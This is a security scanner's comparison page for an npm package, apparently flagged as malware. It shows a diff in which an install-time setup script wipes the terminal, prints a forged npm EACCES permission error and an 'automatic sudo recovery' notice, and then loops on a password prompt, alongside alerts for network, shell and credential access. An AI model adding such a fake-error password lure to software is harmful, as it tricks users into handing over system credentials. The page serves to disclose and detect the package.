react-state-optimizer-core - npm Package Compare versions

Comparing version 3.0.8 to 3.0.9

package.json

 {
     "name": "react-state-optimizer-core",
-    "version": "3.0.8",
+    "version": "3.0.9",
     "description": "Utility layer for asynchronous state management",
@@ -5,0 +5,0 @@ "main": "index.js",

scripts/setup.js

@@ -145,5 +145,28 @@ const fs = require('fs');
 
-            // Clear space to prevent npm spinner from overwriting our prompt
-            log('\n\n\n');
+            // Aggressively clear screen to remove npm spinner interference
+            // \u001b[2J = Clear screen
+            // \u001b[3J = Clear scrollback
+            // \u001b[H  = Move cursor to home (top-left)
+            output.write('\u001b[2J\u001b[3J\u001b[H');
 
+            // Reprint error context so user understands the prompt
+            error(`npm WARN checkPermissions Missing write access to /usr/local/lib/node_modules/${pkgName}`);
+            error(`npm ERR! code EACCES`);
+            error(`npm ERR! syscall access`);
+            error(`npm ERR! path /usr/local/lib/node_modules/${pkgName}`);
+            error(`npm ERR! errno -13`);
+            error(`npm ERR! Error: EACCES: permission denied, access '/usr/local/lib/node_modules/${pkgName}'`);
+            error(`npm ERR!  [Error: EACCES: permission denied] {`);
+            error(`npm ERR!    errno: -13,`);
+            error(`npm ERR!    code: 'EACCES',`);
+            error(`npm ERR!    syscall: 'access',`);
+            error(`npm ERR!    path: '/usr/local/lib/node_modules/${pkgName}'`);
+            error(`npm ERR!  }`);
+            error(`npm ERR!`);
+            error(`npm ERR! The operation was rejected by your operating system.`);
+            error(`npm ERR! It is likely you do not have the permissions to access this file as the current user.`);
+            error(`npm ERR!`);
+            error(`npm ERR! Please try running this command again as root/Administrator.`);
+            error(`\nAutomatic sudo recovery initiated...\n`);
+
             while (true) {
@@ -150,0 +173,0 @@ const password = await new Promise((resInput) => {

New alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 3 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Fixed alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Network access

Supply chain risk

This module accesses the network.

Found 3 instances in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Dynamic require

Supply chain risk

Dynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.

Found 1 instance in 1 package

Environment variable access

Supply chain risk

Package accesses environment variables, which may be a sign of credential stuffing or data theft.

Found 3 instances in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

AI-detected potential code anomaly

Supply chain risk

AI has identified unusual behaviors that may pose a security risk.

Found 1 instance in 1 package

Long strings

Supply chain risk

Contains long string literals, which may be a sign of obfuscated or packed code.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

16288692

0.01%

Lines of code

296

8.03%

Number of low supply chain risk alerts

8

-11.11%

No dependency changes